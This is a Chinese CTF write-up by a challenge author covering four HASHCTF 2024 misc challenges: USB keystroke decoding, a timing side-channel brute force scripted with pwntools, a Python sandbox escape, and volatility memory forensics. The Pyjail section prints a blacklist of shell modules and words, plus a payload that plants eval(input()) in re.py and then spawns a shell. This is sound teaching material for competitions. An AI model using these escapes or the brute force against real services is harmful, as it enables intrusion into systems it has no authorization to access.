HASHCTF2024
第一届山东大学HASHCTF部分Misc题解
下面是我在本次比赛出的题目的WriteUp
Secret of Keyboard
签到脚本题,有些同学的脚本解出来大小写不正确可能是由于脚本无法识别shift+字母
的组合键
首先使用tshark:
tshark -r usb.pcap -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt
提取数据并删除空格
然后脚本一把梭出来:
keyboard.py:
normalKeys = {
"04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
"09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
"0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
"13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
"18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
"1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
"22":"5", "23":"6","24":"7","25":"8","26":"9",
"27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",
"2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
"32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
"38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
"3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
"44":"<F11>","45":"<F12>"}
shiftKeys = {
"04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
"09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
"0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
"13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
"18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
"1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
"22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
"28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>",
"2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"",
"34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",
"3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",
"41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:
a=f.readline().strip()
if a:
if len(a)==16: # 鼠标流量的话len改为8
out=''
for i in range(0,len(a),2):
if i+2 != len(a):
out+=a[i]+a[i+1]+":"
else:
out+=a[i]+a[i+1]
fi.write(out)
fi.write('\n')
else:
break
fi.close()
output = []
keys = open('out.txt')
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()
flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('<DEL>')
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="<CAP>":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print ('output :' + "".join(output))
Response Time
其实也算是个签到题,不过没多少人做/(ㄒoㄒ)/~~
使用nc(netcat)连接之后,尝试输入flag头,猜测出每次输入时,如果当前位输入正确,输出响应的时间就会较长,然后会进入下一位的输入检测判断。
为了方便大家理解,我在此贴出服务端代码:
import time
import os
banner ='''
/$$ /$$
| $$ |__/
/$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$ /$$ /$$$$$$/$$$$ /$$$$$$
/$$__ $$ /$$__ $$ /$$_____/ /$$__ $$ /$$__ $$| $$__ $$ /$$_____/ /$$__ $$ |_ $$_/ | $$| $$_ $$_ $$ /$$__ $$
| $$ \__/| $$$$$$$$| $$$$$$ | $$ \ $$| $$ \ $$| $$ \ $$| $$$$$$ | $$$$$$$$ | $$ | $$| $$ \ $$ \ $$| $$$$$$$$
| $$ | $$_____/ \____ $$| $$ | $$| $$ | $$| $$ | $$ \____ $$| $$_____/ | $$ /$$| $$| $$ | $$ | $$| $$_____/
| $$ | $$$$$$$ /$$$$$$$/| $$$$$$$/| $$$$$$/| $$ | $$ /$$$$$$$/| $$$$$$$ | $$$$/| $$| $$ | $$ | $$| $$$$$$$
|__/ \_______/|_______/ | $$____/ \______/ |__/ |__/|_______/ \_______//$$$$$$\___/ |__/|__/ |__/ |__/ \_______/
| $$ |______/
| $$
|__/
'''
print(banner)
flag=''
with open('/flag', 'r') as file:
flag = file.read()
flag=flag.strip()
sum=0
print("Can you find the secret of the response time?")
print()
print()
while(True):
if sum==len(flag) :
print('Congratulations! you get it!')
exit(0)
print('Please input one character:')
ans=input('> ')
if ans != flag[sum] and len(ans)==1:
print('Who knows whether it is the right character?')
print()
if ans == flag[sum] and len(ans)==1:
time.sleep(1.5)
print('Who knows whether it is the right character?')
print()
sum=sum+1
if len(ans)!=1:
print('Invalid input!')
print()
然后根据这个响应时间的特性,我们使用pwntools写出解题脚本
exp:
from pwn import *
import time
from tqdm import tqdm
io = remote("127.0.0.1",45559)
table = '-{}abcdefghigklmnopqrstuvwxyz1234567890!_ABCDEFGHIJKLMNOPQRSTUVWXYZ'#定义的字符表
flag=''
for j in table:
for i in table:
io.sendline(bytes(i.encode()))
start_time = time.time()
io.recvuntil('Who knows whether it is the right character?\n',timeout=100000)
end_time=time.time()
response_time = end_time-start_time
if(response_time>1): #如果响应时间大于1s,就添加进flag
flag=flag+i
print(flag)
break #退出当次循环
爆一会就出来了
Pyjail
本题改编自2023强网杯Pyjail ! It’s myFILTER !!!
源码如下:
import code, os, subprocess,re
import pty
def blacklist_fun_callback(*args):
print("You are Hacker!!!")
pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback
vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback
banner=
print(banner)
del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can you input your code to escape > ")
print(input_code)
blacklist_words = [
"subprocess",
"os",
"code",
"interact",
"pty",
"pdb",
"platform",
"importlib",
"timeit",
"imp",
"commands",
"popen",
"load_module",
"spawn",
"system",
"/bin/sh",
"/bin/bash",
"flag",
"eval",
"exec",
"compile",
"input",
"vars",
"attr",
"dir",
"getattr"
"__import__",
"__builtins__",
"__getattribute__",
"__class__",
"__base__",
"__subclasses__",
"__getitem__",
"__self__",
"__globals__",
"__init__",
"__name__",
"__dict__",
"._module",
"builtins",
"breakpoint",
"import",
]
def check(input_code):
for x in blacklist_words:
if x in input_code:
print("False")
return False
return True
while '{' in input_code and '}' in input_code and input_code.isascii() and check(input_code) and "eval" not in input_code and len(input_code) < 50 and "read" not in input_code :
input_code = eval(f"f'{input_code}'")
print(input_code)
else:
print("Player! Please obey the rules!")
设置了黑名单,禁用了大部分的模块和模块自带的函数,同时还禁用了字符串"eval"和"read"(注意是字符串),而且还规定了payload的长度不能超过50
在本题中,我import了一个无用的模块"re",并给出了提示:可以往某些模块里写一些东西
我们知道,当这个python程序执行时,首先会执行import的模块,所以,我们可以往re里写入{open("re.py","a").write("eva""l(inpu""t())")}
用"分隔来规避字符串检测,写入之后再重新访问,程序在执行re.py时,就会触发eval(input())
,可以让我们输入任意代码并用eval()函数执行
此时我们使用一句话RCE __import__('os').system('sh')
,即可getshell
我们二次元怎么你们了.png
被非预期了/(ㄒoㄒ)/~~(懒惰的出题人原题照搬的结果)
首先是malkuu选手提供的非预期打法:(社工的神)
然后是预期解:
题目名称提示png,使用volatility -f [镜像路径] --profile=Win7SP1x64 filescan | grep png
最后一行有个可疑文件Chuyin.png
我们使用volatility -f [镜像路径] --profile=Win7SP1x64 dumpfiles -Q [文件地址] -D [保存路径]
把图片dump下来
然后使用图片隐写神器zsteg,一把梭
再把flag头换成HASHCTF就行了。